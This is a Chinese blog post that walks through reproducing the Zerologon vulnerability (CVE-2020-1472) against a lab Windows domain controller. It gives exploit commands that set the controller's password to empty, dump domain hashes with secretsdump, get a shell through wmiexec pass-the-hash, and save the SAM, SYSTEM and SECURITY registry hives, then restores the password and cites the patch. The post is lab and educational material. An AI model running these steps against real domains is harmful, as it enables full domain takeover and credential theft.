NetLogon特权提升漏洞（CVE-2020-1472）复现及问题解决

最新推荐文章于 2024-07-02 16:25:16 发布
最新推荐文章于 2024-07-02 16:25:16 发布
阅读量1.4w 收藏 6
点赞数 4
分类专栏： # 漏洞复现 文章标签： windows 测试工具 php
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/q20010619/article/details/108648312
版权

NetLogon特权提升漏洞（CVE-2020-1472）复现

漏洞描述

2020年08月12日，Windows官方 发布了 NetLogon 特权提升漏洞 的风险通告，该漏洞编号为 CVE-2020-1472，漏洞等级：严重，漏洞评分：10分。CVE-2020-1472是一个windows域控中严重的远程权限提升漏洞，攻击者通过NetLogon，建立与域控间易受攻击的安全通道时，可利用此漏洞获取域管访问权限。

漏洞成因

Netlogon协议身份认证采用了挑战-响应机制，其中加密算法是AES-CFB8，并且IV默认全零，导致了该漏洞产生。又因为认证次数没做限制，签名功能客户端默认可选，使得漏洞顺利被利用。

具体漏洞成因参考

英文原文：https://www.secura.com/pathtoimg.php?id=2055

中文翻译：http://suo.im/5GjJFF

影响范围

Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)

环境搭建

测试域控环境搭建

服务器环境搭建

版本：在影响范围内的任意windows server版本

本次复现使用服务器版本：Windows server 2008 r2 standard

将本地连接中的ipv6属性取消掉，保留ipv4属性配置

将ip地址设为固定ip地址 192.168.43.1

子网掩码自动填充c类255.255.255.0

默认网关可填可不填 本例：192.168.43.13

设置首选dns服务器ip地址为本机ip地址192.168.43.1

图片

安装域

在开始处搜索dcpromo

图片

单击下一步

图片

在新林中新建域，单击下一步

图片

输入域名test.com，单击下一步

图片

随后默认即可，下一步

图片

图片

设置密码

图片

安装完毕后，重启即可

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-088pHWmT-1600334383461)(https://uploader.shimo.im/f/qa1segqFcdUHvg3t.png!thumbnail)]

客户端环境搭建

版本：任意windows系统

客户端同样需要配置网络

将客户端ip地址设置为和服务器地址同一网段即可 192.168.43.100

子网掩码自动获取为255.255.255.0

设置首选dns服务器ip地址为服务器ip地址192.168.43.1

设置Ethernet属性

图片

设置域，此处的域和服务器的域相同

图片

填入administrator和刚刚填写的密码

图片

加入域后，重启电脑生效

图片

注意：如果是两台虚拟机，都使用桥接模式，保证三台主机（服务器、客户端、攻击机）都在同一网段，并保证相互之间可以ping通，校园网环境下虚拟机桥接可能会失效连不上网，可以连接手机热点，组建局域网。

攻击机环境条件

Kali Linux

版本不限

python

攻击机上需要python3.7以上

impacket

命令安装：

pip install Impacket -i https://pypi.tuna.tsinghua.edu.cn/simple
#（-i 镜像加速）

github安装：

git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
python setup.py install

Impacket是一个Python类库，用于对SMB1-3或IPv4 / IPv6 上的TCP、UDP、ICMP、IGMP，ARP，IPv4，IPv6，SMB，MSRPC，NTLM，Kerberos，WMI，LDAP等协议进行低级编程访问。
impacket需要安装最新版（v0.0.22.dev1），该版本中更新了函数NetrServerPasswordSet2，这个函数会在利用中使用，impacket提供了利用脚本需要使用的库，同时其中包含的secretsdump.py/wmiexec.py脚本分别用于密钥的dump还原操作及开启一个shell，这里主要使用以下两个poc，其中利用置空脚本使用dirkjanm提供的（dirkjanm也提供了相关的置空还原脚本但是我没有成功），而恢复密钥则使用risksense提供的版本。

  • Wmiexec.py

它会生成一个使用Windows Management Instrumentation的半交互式shell，并以管理员身份运行。你不需要在目标服务器上安装任何的服务/代理，因此它非常的隐蔽。

./wmiexec.py

语法:./wmiexec.py[[domain/] [: password]@] [Target IP Address]
关于Impacket更多内容参考：

http://www.manongjc.com/article/97872.html

https://www.freebuf.com/sectool/175208.html

  • secretsdump.py：

执行各种技术从远程机器转储Secrets，而不在那里执行任何代理。对于SAM和LSA Secrets（包括缓存的凭据），然后将hives保存在目标系统（％SYSTEMROOT％\ Temp目录）中，并从中读取其余数据。对于DIT文件，我们使用dl_drsgetncchanges（）方法转储NTLM哈希值、纯文本凭据（如果可用）和Kerberos密钥。它还可以通过使用smbexec/wmiexec方法执行的vssadmin来转储NTDS.dit.如果脚本不可用，脚本将启动其运行所需的服务（例如，远程注册表，即使它已被禁用）。运行完成后，将恢复到原始状态。

漏洞检测

(本次漏洞检测使用服务器windows server 2008 x64 r2 客户端win10 攻击机win10物理机、kali)

工具：https://github.com/SecuraBV/CVE-2020-1472

图片

安装python依赖包

pip install  -r requirements.txt

图片

py -3 zerologon_tester.py 服务器计算机名 服务器ip

注意：计算机名并非用户名admin，而是下图指向的名称
图片

Success说明此服务器处在次漏洞

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NoRtbddp-1600334383466)(https://uploader.shimo.im/f/wmB5msbGYE5pSgdj.png!thumbnail)]

漏洞利用

(本次漏洞利用使用服务器windows server 2008 x64 r2 客户端win10 攻击机kali2020)

poc地址：

https://github.com/dirkjanm/CVE-2020-1472

https://github.com/risksense/zerologon

https://github.com/blackarrowsec/redteam-research

大体分为这几步

  1. 通过漏洞脚本置空域控保存在AD中的密码
  2. 通过secretsdump.py获取域控上的用户hash
  3. 通过该hash使用wmiexec.py登录域控获取一个shell
  4. 通过shell获取本地保存的原hash key
  5. 通过获取的hash key恢复置空的域控密码

具体步骤：

1.首先第一步通过利用脚本将域控保存在AD的密码置空，注意该置空操作是对域控服务器有一定影响的，目前来看就是利用后重启回很慢，secura提到的dns服务受影响目前没有遇到。

python cve-2020-1472-exploit.py [服务器名] [服务器ip]

攻击成功，此时服务器ad的密码已经被置空，可以进行下一步操作
图片

  1. 用secretsdump.py通过Domain Replication Service (DRS)协议获取域控上相关的hash，其包括administrator hashes。
python secretsdump.py [域]/[服务器名]\$@[服务器ip] -just-dc -no-pass
例如：python secretsdump.py test.com/WIN-QAOGC9V6G1R\$@192.168.43.1 -just-dc -no-pass

图片

3.通过该hash配合wmiexec.py 完成一次pass-the-hash attack，登录该DC获取一个shell。

wmiexec.py -hashes [用户名对应哈希值] [域]/[用户名]@[服务器ip]
例如wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe ad.test.com/Administrator@192.168.43.1

成功getshell
图片

4.执行以下命令，以获取本地保存的原置空hash。

reg save HKLM\SYSTEM system.save

reg save HKLM\SAM sam.save

reg save HKLM\SECURITY security.save

get system.save

get sam.save

get security.save

del /f system.save

del /f sam.save

del /f security.save

图片

5.通过secretsdump解析保存在本地的nt hash，为其中解析后的$MACHINE.ACC:plain_password_hex部分。

secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

图片

最后运行risksense的恢复脚本将$MACHINE.ACC:plain_password_hex中的原来nt hash恢复，可以看到此时再用secretsdump.py尝试获取域控上的用户hash已经是失败了。

图片

注：一定要恢复原来的密码，不然会导致DC脱域！

漏洞修复

微软官方已经发布该漏洞的补丁，建议受影响用户升级到系统的最新版本或手动下载补丁进行更新。微软安全公告及相关补丁下载地址：

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472

参考文章

http://suo.im/6ajYN9

http://suo.im/6wcErY

http://suo.im/5GgkCv

OceanSec
关注
  • 4
    点赞
  • 踩
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
专栏目录
CVE-2020-1472域渗透 NetLogon 权限提升漏洞
千寻的博客
06-13 253
模拟环境：获取了一个加入了域的计算机权限，在system账号权限的情况下，将域管密码置空，导出域管hash，然后进行连接
SharpSecDump:.Impacket的secretsdump.py的远程SAM + LSA秘密转储功能的.Net端口
03-19
夏普转储 impacket的secretsdump.py的远程SAM + LSA秘密转储功能的.Net端口。默认情况下，在当前用户的上下文中运行。请仅在您拥有或有权测试的环境中使用:) 用法 SharpSecDump.exe -target=192.168.1.15 -u=admin -p=Password123 -d=test.local 必需标志 -target-逗号分隔的要扫描的IP /主机名列表。请不要在地址之间包含空格。通过将target设置为127.0.0.1，还可以在本地系统上转储哈希。 可选标志 -u-要使用的用户名，如果要使用备用凭据来运行。必须与-p和-d标志一起使用 -p -明文密码才能使用，如果你想使用备用凭据运行。必须与-u和-d标志一起使用 -d-要使用的域（如果要使用备用凭据运行）（对于本地域）。必须与-u和-p标志一起使用 -threads-用于并发枚举多个
Netlogon特权提升漏洞 (CVE-2020-1472)
越努力 越自由
03-18 4526
在2020年8月份微软发布的安全公告中，有一个十分紧急的漏洞——CVE-2020-1472 NetLogon 权限提升漏洞。通过该漏洞，未经身份验证的攻击者只需要能访问域控的135端口即可通过 NetLogon 远程协议连接域控并重置域控机器的Hash，从而导致攻击者可以利用域控的机器账户导出域内所有用户的Hash（域控的机器账户默认具有DCSync权限）。该漏洞存在的原因是Netlogon协议中加密模块存在问题，导致攻击者能够在没有有效凭据的情况下通过身份认证。
CVE-2020-1472 Netlogon特权提升漏洞分析及复现
include_voidmain的博客
03-03 7132
0x01漏洞背景 NetLogon远程协议是一种在Windows 域控上使用的RPC 接口，被用于各种与用户和机器认证相关的任务。最常用于让用户使用NTLM协议登录服务器，也用于NTP响应认证以及更新计算机域密码。 微软MSRC于8月11日发布了Netlogon 特权提升漏洞安全通告。此漏洞CVE编号CVE-2020-1472，CVSS评分:10.0。由Secura公司的Tom Tervoort发现提交并命名为ZeroLogon。 0x02漏洞分析 Netlogon协议使用的是自定义的加密协议来让客户端（加
CVE-2020-1472 NetLogon 权限提升漏洞
qq_53579360的博客
02-07 874
windows
域内大杀器CVE-2020-1472复现
茶寂的博客
12-25 5597
前一段时间打ctf第一次接触域渗透，其中CVE-2020-1472被称为域控的大杀器，在本地搭建了个环境复现一下 CVE-2020-1472影响的版本： Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) Windows Server 2012 Windows Ser
【域渗透提权】CVE-2020-1472 NetLogon 权限提升漏洞
做自己喜欢的事，并将其发挥到极致！
06-23 2417
本篇文章仅用于技术研究和学习，切勿利用文中提及手段非法渗透攻击，造成任何后果与本作者无关，切记！CVE-2020-1472 NetLogon 权限提升漏洞原因是未经身份认证的攻击者可通过使用NetLogon 远程协议(MS-NRPC)连接域控制器来利用此漏洞。成功利用此漏洞的攻击者可获得域管理员访问权限。Netlogon 是在活动目录中比较重要的一个服务，此服务在 DC 和域成员服务器上运行，为域身份验证提供重要服务。...
CVE-2020-1472 NetLogon 特权提升漏洞1
08-03
CVE-2020-1472 NetLogon 特权提升漏洞1
CVE-2020-1472:CVE-2020-1472的测试工具
03-16
使用Impacket库测试Zerologon漏洞（CVE-2020-1472）的漏洞的Python脚本。 它尝试执行Netlogon身份验证绕过。 成功执行旁路时，脚本将立即终止，并且不执行任何Netlogon操作。 修补域控制器后，检测脚本将在发送2000...
CVE-2020-1472:CVE-2020-1472亦称Zerologon的利用代码
03-18
CVE-2020-1472 CVE-2020-1472又称为Zerologon的检查和利用代码 测试域控制器是否容易受到Zerologon攻击，如果容易受到攻击，它将把域控制器的帐户密码重置为空字符串。 注意：它可能会破坏生产环境中的内容（例如...
Zerologon-CVE-2020-1472-master
09-11
CVE-2020-1472是该漏洞的官方编号，用于识别和跟踪此特定安全问题。 **漏洞详解** Zerologon漏洞存在于Netlogon远程协议（Netlogon Remote Protocol, NRPC）的安全验证过程中。NRPC是Windows系统中用于处理域登录...
zerologon:RPCTCP和RPCSMB的CVE-2020-1472的测试脚本
05-04
证明CVE-2020-1472可以通过RPC / SMB来完成，而不仅可以通过RPC / TCP来完成。 另外，最终的客户端挑战和客户端凭证中有一个随机字节-用于测试琐碎的IDS签名。 RPC / SMB扫描默认运行。 根据目标服务器的不同，...
CVE-2020-1472漏洞实战 深度剖析
Ms08067安全实验室
11-18 9268
本文作者：Faith（Ms08067实验室 内网安全攻防知识星球）0x00漏洞说明CVE-2020-1472是继MS17010之后一个比较好用的内网提权漏洞，影响Windows Serv...
（环境搭建+复现）CVE-2020-1472 NetLogon 域内提权漏洞
daxi0ng的博客
01-25 3957
0x00 简介 Netlogon组件是Windows上一项重要的功能组件，用于用户和机器在域内网络上的认证，以及复制数据库以进行域控备份，还用于维护域成员与域之间、域与域控之间、域DC与跨域DC之间的关系。 Netlogon远程协议是一个可用的在Windows域控制器上的RPC（remote procedure call protocol，远程过程调用协议，允许像调用本地服务一样调用远程服务）接口，用于对域中的用户和其他服务进行身份验证，最常见的是方便用户使用NTLM（N...
探索CVE-2020-1472：Zerologon漏洞修复与研究
gitblog_00084的博客
04-02 575
探索CVE-2020-1472：Zerologon漏洞修复与研究 项目地址:https://gitcode.com/mstxq17/cve-2020-1472 在网络安全领域，及时发现和应对漏洞是至关重要的。项目链接提供了一个专门针对CVE-2020-1472（也称为“Zerologon”）漏洞的研究与修复工具集合，帮助安全专家、开发人员以及IT管理员更好地理解并防御这一威胁。 项目简介 该项目由...
内网渗透初探(三) ｜ 查缺补漏
weixin_42508548的博客
12-23 4428
一、前言 从linux打进去到域环境，到获取域控权限。因为前面基本都是在讲windows，这里补一篇linux的，全篇实操，喜欢的小伙伴们快来呀~ 二、外网打点 1、打开站点，很正常的一个登录界面 2、尝试登录后发现典型的shiro特征。 3、使用工具直接打shiro反序列化即可。 下载地址： GitHub - j1anFen/shiro_attack: shiro反序列化漏洞综合利用,包含（回显执行命令/注入内存马） 4、直接上冰蝎马，连接 三、权限维持 权限维持其实看
ZeroLogon (CVE-2020-1472) 漏洞利用
热门推荐
Captain_RB的博客
10-24 1万+
ZeroLogon (CVE-2020-1472) 是近几年Windows上曝出的高危漏洞，CVSS V3.0评分10.0，攻击者只需要定位域控主机名及IP，并且可以访问域控，就可以在无需任何凭据的情况下 (可在域外) 拿到域管理员的权限。
（域渗透提权）CVE-2020-1472 NetLogon权限提升漏洞
最新发布
m0_64481831的博客
07-02 288
CVE-2020-1472是继永恒之蓝漏洞之后又一个好用的内网提权漏洞，影响Windows Server2008R2至2019的版本。只要攻击者能够访问到目标域控并且知道域控计算机名即可利用该漏洞。该漏洞不要求当前计算机在域内，也不要求当前计算机操作系统为Windows，该漏洞的稳定利用方式为重置目标域控的密码，然后利用域控凭证进行DC Sync获取域管权限后修复域控密码。漏洞利用过程中会重置域控存储在域中的凭证，而域控存储在域中的凭证域本地的注册表中的凭证不一致时，会导致目标域控脱域，所以在。
CVE-2020-1472
08-30
CVE-2020-1472是一个Windows域控中的严重的远程权限提升漏洞。该漏洞是由于微软在Netlogon协议中错误使用加密算法而引起的。在进行AES加密运算时，微软使用了AES-CFB8模式并错误地将初始化向量（IV）设置为全零。这使得在攻击者可以控制明文（客户端挑战）和IV等要素的情况下，存在较高的概率生成全零的密文。这个漏洞可能被攻击者利用来远程提升权限，并在Windows域控服务器上执行恶意操作。 为了利用该漏洞，可以使用提供的CVE-2020-1472-exploit.py脚本来攻击目标服务器。该脚本可以通过指定的命令行参数来执行攻击，例如"python3 cve-2020-1472-exploit.py dc$ 192.168.10.10"。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [CVE-2020-1472 ZeroLogon漏洞分析利用](https://blog.csdn.net/qq_50854790/article/details/123121372)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* *3* [CVE-2020-1472 NetLogon 权限提升漏洞](https://blog.csdn.net/qq_53579360/article/details/128923909)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

OceanSec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值